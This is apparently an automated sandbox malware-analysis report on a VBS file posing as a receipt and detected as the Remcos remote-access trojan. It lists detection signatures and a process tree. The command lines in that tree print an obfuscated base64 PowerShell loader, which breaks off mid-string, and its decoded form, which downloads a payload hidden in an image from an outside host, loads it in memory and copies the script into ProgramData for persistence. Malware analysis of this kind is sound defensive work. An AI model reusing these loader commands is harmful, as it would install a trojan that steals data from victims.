Edit tour

Windows Analysis Report
Tapril-30-receipt.vbs

Overview

General Information

Sample name:	Tapril-30-receipt.vbs
Analysis ID:	1434496
MD5:	4e4eafea09057c5b1786f452756aee35
SHA1:	a1220c6a137f5ecdcb71967ff682159d6498aaa4
SHA256:	b74412166bf983a8e0d6ec4efe375eaaa1adb0404749dd30754c018ff623e5fb
Tags:	vbs
Infos:

Detection

Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected Remcos RAT

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Sigma detected: Powershell download and load assembly

Sigma detected: Powershell download payload from hardcoded c2 list

Sigma detected: Remcos

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

VBScript performs obfuscated calls to suspicious functions

Yara detected AntiVM3

Yara detected Powershell download and execute

Yara detected Remcos RAT

Yara detected VBS Downloader Generic

Bypasses PowerShell execution policy

Command shell drops VBS files

Connects to a pastebin service (likely for C&C)

Connects to many ports of the same IP (likely port scanning)

Creates autostart registry keys with suspicious values (likely registry only malware)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Installs a global keyboard hook

Potential evasive JS / VBS script found (domain check)

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to harvest and steal Bitcoin Wallet information

Uses dynamic DNS services

Very long command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found URL in obfuscated visual basic script code

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Script Initiated Connection

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7508 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Tapril-30-receipt.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7864 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreaQByDgTreHDgTreDgTreYQB3DgTreHgDgTreLwBzDgTreGMDgTreLwB6DgTreG4DgTreLgBlDgTreG4DgTreaQBkDgTreGwDgTreYQByDgTreGUDgTreZwB5DgTreGEDgTredDgTreBzDgTreC8DgTreLwDgTre6DgTreHMDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreMQDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreQwDgTre6DgTreFwDgTreUDgTreByDgTreG8DgTreZwByDgTreGEDgTrebQBEDgTreGEDgTredDgTreBhDgTreFwDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreG8DgTrecwBtDgTreGEDgTreJwDgTresDgTreCcDgTreUgBlDgTreGcDgTreQQBzDgTreG0DgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8128 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5164 cmdline: "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\osma.vbs" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6380 cmdline: "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

wscript.exe (PID: 5296 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\fbshgr.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

powershell.exe (PID: 6344 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTre